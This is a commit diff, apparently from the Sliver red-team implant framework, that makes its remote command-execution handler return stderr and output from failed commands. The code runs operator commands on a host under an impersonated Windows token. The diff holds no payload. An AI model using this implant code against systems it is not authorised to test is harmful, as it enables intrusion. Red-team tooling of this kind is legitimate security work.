Get output for commands in error.

- This includes stderr output for commands, fixing #293.
- This includes showing output (if available) for failed commends,
  fixing #294.

client/command/execute.go

@@ -49,6 +49,9 @@ func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
 	})
 	if err != nil {
 		fmt.Printf(Warn+"%s", err)
+		if exec != nil && exec.Result != "" {
+			fmt.Printf(Warn+"Output:\n%s\n", exec.Result)
+		}
 	} else if !output {
 		fmt.Printf(Info+"Output:\n%s\n", exec.Result)
 	}

sliver/handlers/generic-rpc-handlers.go

@@ -486,7 +486,6 @@ func ifconfig() *sliverpb.Ifconfig {
 func executeHandler(data []byte, resp RPCResponse) {
 	var (
 		err error
-		cmd *exec.Cmd
 	)
 	execReq := &sliverpb.ExecuteReq{}
 	err = proto.Unmarshal(data, execReq)
@@ -496,30 +495,27 @@ func executeHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
+
 	execResp := &sliverpb.Execute{}
-	if len(execReq.Args) != 0 {
-		cmd = exec.Command(execReq.Path, execReq.Args...)
-	} else {
-		cmd = exec.Command(execReq.Path)
-	}
+	cmd := exec.Command(execReq.Path, execReq.Args...)
+
 	//{{if eq .Config.GOOS "windows"}}
 	cmd.SysProcAttr = &windows.SysProcAttr{
 		Token: syscall.Token(priv.CurrentToken),
 	}
 	//{{end}}
 
 	if execReq.Output {
-		res, err := cmd.Output()
+		res, err := cmd.CombinedOutput()
 		//{{if .Config.Debug}}
 		log.Println(string(res))
 		//{{end}}
 		if err != nil {
 			execResp.Response = &commonpb.Response{
 				Err: fmt.Sprintf("%s", err),
 			}
-		} else {
-			execResp.Result = string(res)
 		}
+		execResp.Result = string(res)
 	} else {
 		err = cmd.Start()
 		if err != nil {